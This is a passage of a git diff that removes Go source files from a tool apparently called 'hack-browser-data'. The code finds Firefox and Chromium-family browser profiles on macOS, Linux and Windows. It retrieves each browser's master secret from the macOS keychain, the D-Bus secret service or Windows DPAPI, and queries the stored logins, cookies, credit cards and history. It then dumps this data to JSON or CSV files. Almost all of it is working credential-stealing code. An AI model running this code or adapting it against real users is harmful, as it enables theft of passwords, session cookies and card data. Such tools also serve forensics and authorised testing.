- continue
- }
- }
- main, err = getItemPath(f.profilePath, choice.mainFile)
- if err != nil {
- log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err)
- continue
- }
- i := choice.newItem(main, sub)
- log.Debugf("%s find %s file success", f.name, item)
- items = append(items, i)
- }
- return items, nil
-}
-
-func (f *Firefox) GetItem(itemName string) (data.Item, error) {
- itemName = strings.ToLower(itemName)
- if item, ok := firefoxItems[itemName]; ok {
- var (
- sub, main string
- err error
- )
- if item.subFile != "" {
- sub, err = getItemPath(f.profilePath, item.subFile)
- if err != nil {
- log.Debugf("%s find %s file failed, ERR:%s", f.name, item.subFile, err)
- }
- }
- main, err = getItemPath(f.profilePath, item.mainFile)
- if err != nil {
- log.Debugf("%s find %s file failed, ERR:%s", f.name, item.mainFile, err)
- }
- i := item.newItem(main, sub)
- log.Debugf("%s find %s file success", f.name, item.mainFile)
- return i, nil
- } else {
- return nil, errItemNotSupported
- }
-}
-
-func (f *Firefox) GetName() string {
- return f.name
-}
-
-// GetSecretKey for firefox is always nil
-// this method used to implement Browser interface
-func (f *Firefox) GetSecretKey() []byte {
- return nil
-}
-
-// InitSecretKey for firefox is always nil
-// this method used to implement Browser interface
-func (f *Firefox) InitSecretKey() error {
- return nil
-}
-
-// PickBrowser return a list of browser interface
-func PickBrowser(name string) ([]Browser, error) {
- var browsers []Browser
- name = strings.ToLower(name)
- if name == "all" {
- for _, v := range browserList {
- b, err := v.New(v.ProfilePath, v.KeyPath, v.Name, v.Storage)
- if err != nil {
- log.Error(err)
- }
- browsers = append(browsers, b)
- }
- return browsers, nil
- } else if choice, ok := browserList[name]; ok {
- b, err := choice.New(choice.ProfilePath, choice.KeyPath, choice.Name, choice.Storage)
- browsers = append(browsers, b)
- return browsers, err
- }
- return nil, errBrowserNotSupported
-}
-
-// PickCustomBrowser pick single browser with custom browser profile path and key file path (windows only).
-// If custom key file path is empty, but the current browser requires key file (chromium for windows version > 80)
-// key file path will be automatically found in the profile path's parent directory.
-func PickCustomBrowser(browserName, cusProfile, cusKey string) ([]Browser, error) {
- var (
- browsers []Browser
- )
- browserName = strings.ToLower(browserName)
- supportBrowser := strings.Join(ListBrowser(), "|")
- if browserName == "all" {
- return nil, fmt.Errorf("can't select all browser, pick one from %s with -b flag\n", supportBrowser)
- }
- if choice, ok := browserList[browserName]; ok {
- // if this browser need key path
- if choice.KeyPath != "" {
- var err error
- // if browser need key path and cusKey is empty, try to get key path with profile dir
- if cusKey == "" {
- cusKey, err = getKeyPath(cusProfile)
- if err != nil {
- return nil, err
- }
- }
- if err := checkKeyPath(cusKey); err != nil {
- return nil, err
- }
- }
- b, err := choice.New(cusProfile, cusKey, choice.Name, choice.Storage)
- browsers = append(browsers, b)
- return browsers, err
- } else {
- return nil, fmt.Errorf("%s not support, pick one from %s with -b flag\n", browserName, supportBrowser)
- }
-}
-
-func getItemPath(profilePath, file string) (string, error) {
- p, err := filepath.Glob(filepath.Join(profilePath, file))
- if err != nil {
- return "", err
- }
- if len(p) > 0 {
- return p[0], nil
- }
- return "", fmt.Errorf("find %s failed", file)
-}
-
-// getKeyPath try to get key file path with the browser's profile path
-// default key file path is in the parent directory of the profile dir, and name is [Local State]
-func getKeyPath(profilePath string) (string, error) {
- if _, err := os.Stat(filepath.Clean(profilePath)); os.IsNotExist(err) {
- return "", err
- }
- parentDir := getParentDirectory(profilePath)
- keyPath := filepath.Join(parentDir, "Local State")
- return keyPath, nil
-}
-
-// check key file path is exist
-func checkKeyPath(keyPath string) error {
- if _, err := os.Stat(keyPath); os.IsNotExist(err) {
- return fmt.Errorf("secret key path not exist, please check %s", keyPath)
- }
- return nil
-}
-
-func getParentDirectory(dir string) string {
- var (
- length int
- )
- // filepath.Clean(dir) auto remove
- dir = strings.ReplaceAll(filepath.Clean(dir), `\`, `/`)
- length = strings.LastIndex(dir, "/")
- if length > 0 {
- if length > len([]rune(dir)) {
- length = len([]rune(dir))
- }
- return string([]rune(dir)[:length])
- }
- return ""
-}
-
-func ListBrowser() []string {
- var l []string
- for k := range browserList {
- l = append(l, k)
- }
- return l
-}
-
-func ListItem() []string {
- var l []string
- for k := range chromiumItems {
- l = append(l, k)
- }
- return l
-}
diff --git a/core/browser_darwin.go b/core/browser_darwin.go
deleted file mode 100644
index 02d0ea8..0000000
--- a/core/browser_darwin.go
+++ /dev/null
@@ -1,165 +0,0 @@
-package core
-
-import (
- "bytes"
- "crypto/sha1"
- "errors"
- "os/exec"
-
- "golang.org/x/crypto/pbkdf2"
-)
-
-const (
- fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release*/"
- fireFoxBetaProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-beta*/"
- fireFoxDevProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.dev-edition-default*/"
- fireFoxNightlyProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-nightly*/"
- fireFoxESRProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-esr*/"
- chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
- chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/"
- chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/"
- edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
- braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/"
- operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/"
- operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/"
- vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/"
- coccocProfilePath = "/Users/*/Library/Application Support/Coccoc/*/"
- yandexProfilePath = "/Users/*/Library/Application Support/Yandex/YandexBrowser/*/"
-)
-
-const (
- chromeStorageName = "Chrome"
- chromeBetaStorageName = "Chrome"
- chromiumStorageName = "Chromium"
- edgeStorageName = "Microsoft Edge"
- braveStorageName = "Brave"
- operaStorageName = "Opera"
- vivaldiStorageName = "Vivaldi"
- coccocStorageName = "CocCoc"
- yandexStorageName = "Yandex"
-)
-
-var (
- browserList = map[string]struct {
- ProfilePath string
- Name string
- KeyPath string
- Storage string
- New func(profile, key, name, storage string) (Browser, error)
- }{
- "firefox": {
- ProfilePath: fireFoxProfilePath,
- Name: firefoxName,
- New: NewFirefox,
- },
- "firefox-beta": {
- ProfilePath: fireFoxBetaProfilePath,
- Name: firefoxBetaName,
- New: NewFirefox,
- },
- "firefox-dev": {
- ProfilePath: fireFoxDevProfilePath,
- Name: firefoxDevName,
- New: NewFirefox,
- },
- "firefox-nightly": {
- ProfilePath: fireFoxNightlyProfilePath,
- Name: firefoxNightlyName,
- New: NewFirefox,
- },
- "firefox-esr": {
- ProfilePath: fireFoxESRProfilePath,
- Name: firefoxESRName,
- New: NewFirefox,
- },
- "chrome": {
- ProfilePath: chromeProfilePath,
- Name: chromeName,
- Storage: chromeStorageName,
- New: NewChromium,
- },
- "chromium": {
- ProfilePath: chromiumProfilePath,
- Name: chromiumName,
- Storage: chromiumStorageName,
- New: NewChromium,
- },
- "edge": {
- ProfilePath: edgeProfilePath,
- Name: edgeName,
- Storage: edgeStorageName,
- New: NewChromium,
- },
- "brave": {
- ProfilePath: braveProfilePath,
- Name: braveName,
- Storage: braveStorageName,
- New: NewChromium,
- },
- "chrome-beta": {
- ProfilePath: chromeBetaProfilePath,
- Name: chromeBetaName,
- Storage: chromeBetaStorageName,
- New: NewChromium,
- },
- "opera": {
- ProfilePath: operaProfilePath,
- Name: operaName,
- Storage: operaStorageName,
- New: NewChromium,
- },
- "opera-gx": {
- ProfilePath: operaGXProfilePath,
- Name: operaGXName,
- Storage: operaStorageName,
- New: NewChromium,
- },
- "vivaldi": {
- ProfilePath: vivaldiProfilePath,
- Name: vivaldiName,
- Storage: vivaldiStorageName,
- New: NewChromium,
- },
- "coccoc": {
- ProfilePath: coccocProfilePath,
- Name: coccocName,
- Storage: coccocStorageName,
- New: NewChromium,
- },
- "yandex": {
- ProfilePath: yandexProfilePath,
- Name: yandexName,
- Storage: yandexStorageName,
- New: NewChromium,
- },
- }
-)
-
-func (c *Chromium) InitSecretKey() error {
- var (
- cmd *exec.Cmd
- stdout, stderr bytes.Buffer
- )
- // ➜ security find-generic-password -wa 'Chrome'
- cmd = exec.Command("security", "find-generic-password", "-wa", c.storage)
- cmd.Stdout = &stdout
- cmd.Stderr = &stderr
- err := cmd.Run()
- if err != nil {
- return err
- }
- if stderr.Len() > 0 {
- err = errors.New(stderr.String())
- return err
- }
- temp := stdout.Bytes()
- chromeSecret := temp[:len(temp)-1]
- if chromeSecret == nil {
- return errChromeSecretIsEmpty
- }
- var chromeSalt = []byte("saltysalt")
- // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
- key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
- c.secretKey = key
- return nil
-}
diff --git a/core/browser_linux.go b/core/browser_linux.go
deleted file mode 100644
index 7af68ac..0000000
--- a/core/browser_linux.go
+++ /dev/null
@@ -1,167 +0,0 @@
-package core
-
-import (
- "crypto/sha1"
-
- "github.com/godbus/dbus/v5"
- keyring "github.com/ppacher/go-dbus-keyring"
- "golang.org/x/crypto/pbkdf2"
-
- "hack-browser-data/internal/log"
-)
-
-const (
- fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release*/"
- fireFoxBetaProfilePath = "/home/*/.mozilla/firefox/*.default-beta*/"
- fireFoxDevProfilePath = "/home/*/.mozilla/firefox/*.dev-edition-default*/"
- fireFoxNightlyProfilePath = "/home/*/.mozilla/firefox/*.default-nightly*/"
- fireFoxESRProfilePath = "/home/*/.mozilla/firefox/*.default-esr*/"
- chromeProfilePath = "/home/*/.config/google-chrome/*/"
- chromiumProfilePath = "/home/*/.config/chromium/*/"
- edgeProfilePath = "/home/*/.config/microsoft-edge*/*/"
- braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/"
- chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/"
- operaProfilePath = "/home/*/.config/opera/"
- vivaldiProfilePath = "/home/*/.config/vivaldi/*/"
-)
-
-const (
- chromeStorageName = "Chrome Safe Storage"
- chromiumStorageName = "Chromium Safe Storage"
- edgeStorageName = "Chromium Safe Storage"
- braveStorageName = "Brave Safe Storage"
- chromeBetaStorageName = "Chrome Safe Storage"
- operaStorageName = "Chromium Safe Storage"
- vivaldiStorageName = "Chrome Safe Storage"
-)
-
-var (
- browserList = map[string]struct {
- ProfilePath string
- Name string
- KeyPath string
- Storage string
- New func(profile, key, name, storage string) (Browser, error)
- }{
- "firefox": {
- ProfilePath: fireFoxProfilePath,
- Name: firefoxName,
- New: NewFirefox,
- },
- "firefox-beta": {
- ProfilePath: fireFoxBetaProfilePath,
- Name: firefoxBetaName,
- New: NewFirefox,
- },
- "firefox-dev": {
- ProfilePath: fireFoxDevProfilePath,
- Name: firefoxDevName,
- New: NewFirefox,
- },
- "firefox-nightly": {
- ProfilePath: fireFoxNightlyProfilePath,
- Name: firefoxNightlyName,
- New: NewFirefox,
- },
- "firefox-esr": {
- ProfilePath: fireFoxESRProfilePath,
- Name: firefoxESRName,
- New: NewFirefox,
- },
- "chrome": {
- ProfilePath: chromeProfilePath,
- Name: chromeName,
- Storage: chromeStorageName,
- New: NewChromium,
- },
- "edge": {
- ProfilePath: edgeProfilePath,
- Name: edgeName,
- Storage: edgeStorageName,
- New: NewChromium,
- },
- "brave": {
- ProfilePath: braveProfilePath,
- Name: braveName,
- Storage: braveStorageName,
- New: NewChromium,
- },
- "chrome-beta": {
- ProfilePath: chromeBetaProfilePath,
- Name: chromeBetaName,
- Storage: chromeBetaStorageName,
- New: NewChromium,
- },
- "chromium": {
- ProfilePath: chromiumProfilePath,
- Name: chromiumName,
- Storage: chromiumStorageName,
- New: NewChromium,
- },
- "opera": {
- ProfilePath: operaProfilePath,
- Name: operaName,
- Storage: operaStorageName,
- New: NewChromium,
- },
- "vivaldi": {
- ProfilePath: vivaldiProfilePath,
- Name: vivaldiName,
- Storage: vivaldiStorageName,
- New: NewChromium,
- },
- }
-)
-
-func (c *Chromium) InitSecretKey() error {
- // what is d-bus @https://dbus.freedesktop.org/
- var chromeSecret []byte
- conn, err := dbus.SessionBus()
- if err != nil {
- return err
- }
- svc, err := keyring.GetSecretService(conn)
- if err != nil {
- return err
- }
- session, err := svc.OpenSession()
- if err != nil {
- return err
- }
- defer func() {
- session.Close()
- }()
- collections, err := svc.GetAllCollections()
- if err != nil {
- return err
- }
- for _, col := range collections {
- items, err := col.GetAllItems()
- if err != nil {
- return err
- }
- for _, item := range items {
- label, err := item.GetLabel()
- if err != nil {
- log.Error(err)
- continue
- }
- if label == c.storage {
- se, err := item.GetSecret(session.Path())
- if err != nil {
- log.Error(err)
- return err
- }
- chromeSecret = se.Value
- }
- }
- }
- if chromeSecret == nil {
- return errDbusSecretIsEmpty
- }
- var chromeSalt = []byte("saltysalt")
- // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
- key := pbkdf2.Key(chromeSecret, chromeSalt, 1, 16, sha1.New)
- c.secretKey = key
- return nil
-}
diff --git a/core/browser_windows.go b/core/browser_windows.go
deleted file mode 100644
index 3a6381f..0000000
--- a/core/browser_windows.go
+++ /dev/null
@@ -1,178 +0,0 @@
-package core
-
-import (
- "encoding/base64"
- "errors"
- "fmt"
- "os"
-
- "hack-browser-data/core/decrypt"
- "hack-browser-data/internal/utils"
-
- "github.com/tidwall/gjson"
-)
-
-const (
- firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release*/"
- fireFoxBetaProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta*/"
- fireFoxDevProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default*/"
- fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly*/"
- fireFoxESRProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr*/"
- chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/"
- chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State"
- chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/"
- chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State"
- chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/"
- chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State"
- edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/"
- edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State"
- braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/"
- braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State"
- speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/"
- qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/"
- operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
- operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State"
- operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
- operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State"
- vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
- vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State"
- coccocProfilePath = "/AppData/Local/CocCoc/Browser/User Data/Default/"
- coccocKeyPath = "/AppData/Local/CocCoc/Browser/Local State"
- yandexProfilePath = "/AppData/Local/Yandex/YandexBrowser/User Data/Default"
- yandexKeyPath = "/AppData/Local/Yandex/YandexBrowser/Local State"
-)
-
-var (
- browserList = map[string]struct {
- ProfilePath string
- Name string
- KeyPath string
- Storage string
- New func(profile, key, name, storage string) (Browser, error)
- }{
- "firefox": {
- ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
- Name: firefoxName,
- New: NewFirefox,
- },
- "firefox-beta": {
- ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath,
- Name: firefoxBetaName,
- New: NewFirefox,
- },
- "firefox-dev": {
- ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath,
- Name: firefoxDevName,
- New: NewFirefox,
- },
- "firefox-nightly": {
- ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath,
- Name: firefoxNightlyName,
- New: NewFirefox,
- },
- "firefox-esr": {
- ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath,
- Name: firefoxESRName,
- New: NewFirefox,
- },
- "chrome": {
- ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath,
- Name: chromeName,
- New: NewChromium,
- },
- "chrome-beta": {
- ProfilePath: os.Getenv("USERPROFILE") + chromeBetaProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + chromeBetaKeyPath,
- Name: chromeBetaName,
- New: NewChromium,
- },
- "chromium": {
- ProfilePath: os.Getenv("USERPROFILE") + chromiumProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + chromiumKeyPath,
- Name: chromiumName,
- New: NewChromium,
- },
- "edge": {
- ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + edgeKeyPath,
- Name: edgeName,
- New: NewChromium,
- },
- "360": {
- ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath,
- Name: speed360Name,
- New: NewChromium,
- },
- "qq": {
- ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath,
- Name: qqBrowserName,
- New: NewChromium,
- },
- "brave": {
- ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + braveKeyPath,
- Name: braveName,
- New: NewChromium,
- },
- "opera": {
- ProfilePath: os.Getenv("USERPROFILE") + operaProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + operaKeyPath,
- Name: operaName,
- New: NewChromium,
- },
- "opera-gx": {
- ProfilePath: os.Getenv("USERPROFILE") + operaGXProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + operaGXKeyPath,
- Name: operaGXName,
- New: NewChromium,
- },
- "vivaldi": {
- ProfilePath: os.Getenv("USERPROFILE") + vivaldiProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + vivaldiKeyPath,
- Name: vivaldiName,
- New: NewChromium,
- },
- "coccoc": {
- ProfilePath: os.Getenv("USERPROFILE") + coccocProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + coccocKeyPath,
- Name: coccocName,
- New: NewChromium,
- },
- "yandex": {
- ProfilePath: os.Getenv("USERPROFILE") + yandexProfilePath,
- KeyPath: os.Getenv("USERPROFILE") + yandexKeyPath,
- Name: yandexName,
- New: NewChromium,
- },
- }
-)
-
-var (
- errBase64DecodeFailed = errors.New("decode base64 failed")
-)
-
-// InitSecretKey with win32 DPAPI
-// conference from @https://gist.github.com/akamajoris/ed2f14d817d5514e7548
-func (c *Chromium) InitSecretKey() error {
- if c.keyPath == "" {
- return nil
- }
- if _, err := os.Stat(c.keyPath); os.IsNotExist(err) {
- return fmt.Errorf("%s secret key path is empty", c.name)
- }
- keyFile, err := utils.ReadFile(c.keyPath)
- if err != nil {
- return err
- }
- encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
- if encryptedKey.Exists() {
- pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
- if err != nil {
- return errBase64DecodeFailed
- }
- c.secretKey, err = decrypt.DPApi(pureKey[5:])
- return err
- }
- return nil
-}
diff --git a/core/data/output.go b/core/data/output.go
deleted file mode 100644
index 5565c4b..0000000
--- a/core/data/output.go
+++ /dev/null
@@ -1,224 +0,0 @@
-package data
-
-import (
- "bytes"
- "encoding/json"
- "fmt"
- "os"
- "sort"
-
- "github.com/jszwec/csvutil"
-
- "hack-browser-data/internal/utils"
-)
-
-var (
- utf8Bom = []byte{239, 187, 191}
-)
-
-func (b *bookmarks) outPutJson(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "bookmark", "json")
- sort.Slice(b.bookmarks, func(i, j int) bool {
- return b.bookmarks[i].ID < b.bookmarks[j].ID
- })
- err := writeToJson(filename, b.bookmarks)
- if err != nil {
- return err
- }
- fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename)
- return nil
-}
-
-func (h *historyData) outPutJson(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "history", "json")
- sort.Slice(h.history, func(i, j int) bool {
- return h.history[i].VisitCount > h.history[j].VisitCount
- })
- err := writeToJson(filename, h.history)
- if err != nil {
- return err
- }
- fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename)
- return nil
-}
-
-func (d *downloads) outPutJson(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "download", "json")
- err := writeToJson(filename, d.downloads)
- if err != nil {
- return err
- }
- fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(d.downloads), filename)
- return nil
-}
-
-func (p *passwords) outPutJson(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "password", "json")
- err := writeToJson(filename, p.logins)
- if err != nil {
- return err
- }
- fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename)
- return nil
-}
-
-func (c *cookies) outPutJson(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "cookie", "json")
- err := writeToJson(filename, c.cookies)
- if err != nil {
- return err
- }
- fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename)
- return nil
-}
-
-func (c *creditCards) outPutJson(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "credit", "json")
- err := writeToJson(filename, c.cards)
- if err != nil {
- return err
- }
- fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename)
- return nil
-}
-
-func writeToJson(filename string, data interface{}) error {
- f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
- if err != nil {
- return err
- }
- defer f.Close()
- w := new(bytes.Buffer)
- enc := json.NewEncoder(w)
- enc.SetEscapeHTML(false)
- enc.SetIndent("", "\t")
- err = enc.Encode(data)
- if err != nil {
- return err
- }
- _, err = f.Write(w.Bytes())
- if err != nil {
- return err
- }
- return nil
-}
-
-func (b *bookmarks) outPutCsv(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "bookmark", "csv")
- if err := writeToCsv(filename, b.bookmarks); err != nil {
- return err
- }
- fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename)
- return nil
-}
-
-func (h *historyData) outPutCsv(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "history", "csv")
- if err := writeToCsv(filename, h.history); err != nil {
- return err
- }
- fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename)
- return nil
-}
-
-func (d *downloads) outPutCsv(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "download", "csv")
- if err := writeToCsv(filename, d.downloads); err != nil {
- return err
- }
- fmt.Printf("%s Get %d download history, filename is %s \n", utils.Prefix, len(d.downloads), filename)
- return nil
-}
-
-func (p *passwords) outPutCsv(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "password", "csv")
- if err := writeToCsv(filename, p.logins); err != nil {
- return err
- }
- fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename)
- return nil
-}
-
-func (c *cookies) outPutCsv(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "cookie", "csv")
- var tempSlice []cookie
- for _, v := range c.cookies {
- tempSlice = append(tempSlice, v...)
- }
- if err := writeToCsv(filename, tempSlice); err != nil {
- return err
- }
- fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename)
- return nil
-}
-
-func (c *creditCards) outPutCsv(browser, dir string) error {
- filename := utils.FormatFilename(dir, browser, "credit", "csv")
- var tempSlice []card
- for _, v := range c.cards {
- tempSlice = append(tempSlice, v...)
- }
- if err := writeToCsv(filename, tempSlice); err != nil {
- return err
- }
- fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename)
- return nil
-}
-
-func writeToCsv(filename string, data interface{}) error {
- var d []byte
- f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
- if err != nil {
- return err
- }
- defer f.Close()
- _, err = f.Write(utf8Bom)
- if err != nil {
- return err
- }
- d, err = csvutil.Marshal(data)
- if err != nil {
- return err
- }
- _, err = f.Write(d)
- if err != nil {
- return err
- }
- return nil
-}
-
-func (b *bookmarks) outPutConsole() {
- for _, v := range b.bookmarks {
- fmt.Printf("%+v\n", v)
- }
-}
-
-func (c *cookies) outPutConsole() {
- for host, value := range c.cookies {
- fmt.Printf("%s\n%+v\n", host, value)
- }
-}
-
-func (h *historyData) outPutConsole() {
- for _, v := range h.history {
- fmt.Printf("%+v\n", v)
- }
-}
-
-func (d *downloads) outPutConsole() {
- for _, v := range d.downloads {
- fmt.Printf("%+v\n", v)
- }
-}
-
-func (p *passwords) outPutConsole() {
- for _, v := range p.logins {
- fmt.Printf("%+v\n", v)
- }
-}
-
-func (c *creditCards) outPutConsole() {
- for _, v := range c.cards {
- fmt.Printf("%+v\n", v)
- }
-}
diff --git a/core/data/parse.go b/core/data/parse.go
deleted file mode 100644
index 632d19f..0000000
--- a/core/data/parse.go
+++ /dev/null
@@ -1,1011 +0,0 @@
-package data
-
-import (
- "bytes"
- "database/sql"
- "encoding/base64"
- "io/ioutil"
- "os"
- "path/filepath"
- "sort"
- "strings"
- "time"
-
- "hack-browser-data/core/decrypt"
- "hack-browser-data/internal/log"
- "hack-browser-data/internal/utils"
-
- _ "github.com/mattn/go-sqlite3"
- "github.com/tidwall/gjson"
-)
-
-type Item interface {
- // ChromeParse parse chrome items, Password and Cookie need secret key
- ChromeParse(key []byte) error
-
- // FirefoxParse parse firefox items
- FirefoxParse() error
-
- // OutPut file name and format type
- OutPut(format, browser, dir string) error
-
- // CopyDB is copy item db file to current dir
- CopyDB() error
-
- // Release is delete item db file
- Release() error
-}
-
-const (
- ChromeCreditFile = "Web Data"
- ChromePasswordFile = "Login Data"
- ChromeHistoryFile = "History"
- ChromeDownloadFile = "History"
- ChromeCookieFile = "Cookies"
- ChromeBookmarkFile = "Bookmarks"
- FirefoxCookieFile = "cookies.sqlite"
- FirefoxKey4File = "key4.db"
- FirefoxLoginFile = "logins.json"
- FirefoxDataFile = "places.sqlite"
-)
-
-var (
- queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
- queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
- queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
- queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
- queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
- queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places`
- queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
- queryFirefoxBookMarks = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
- queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
- queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
- queryNssPrivate = `SELECT a11, a102 from nssPrivate`
- closeJournalMode = `PRAGMA journal_mode=off`
-)
-
-const (
- bookmarkID = "id"
- bookmarkAdded = "date_added"
- bookmarkUrl = "url"
- bookmarkName = "name"
- bookmarkType = "type"
- bookmarkChildren = "children"
-)
-
-type bookmarks struct {
- mainPath string
- bookmarks []bookmark
-}
-
-func NewBookmarks(main, sub string) Item {
- return &bookmarks{mainPath: main}
-}
-
-func (b *bookmarks) ChromeParse(key []byte) error {
- bookmarks, err := utils.ReadFile(ChromeBookmarkFile)
- if err != nil {
- return err
- }
- r := gjson.Parse(bookmarks)
- if r.Exists() {
- roots := r.Get("roots")
- roots.ForEach(func(key, value gjson.Result) bool {
- getBookmarkChildren(value, b)
- return true
- })
- }
- return nil
-}
-
-func getBookmarkChildren(value gjson.Result, b *bookmarks) (children gjson.Result) {
- nodeType := value.Get(bookmarkType)
- bm := bookmark{
- ID: value.Get(bookmarkID).Int(),
- Name: value.Get(bookmarkName).String(),
- URL: value.Get(bookmarkUrl).String(),
- DateAdded: utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()),
- }
- children = value.Get(bookmarkChildren)
- if nodeType.Exists() {
- bm.Type = nodeType.String()
- b.bookmarks = append(b.bookmarks, bm)
- if children.Exists() && children.IsArray() {
- for _, v := range children.Array() {
- children = getBookmarkChildren(v, b)
- }
- }
- }
- return children
-}
-
-func (b *bookmarks) FirefoxParse() error {
- var (
- err error
- keyDB *sql.DB
- bookmarkRows *sql.Rows
- tempMap map[int64]string
- bookmarkUrl string
- )
- keyDB, err = sql.Open("sqlite3", FirefoxDataFile)
- if err != nil {
- return err
- }
- defer func() {
- if err := keyDB.Close(); err != nil {
- log.Error(err)
- }
- }()
- _, err = keyDB.Exec(closeJournalMode)
- if err != nil {
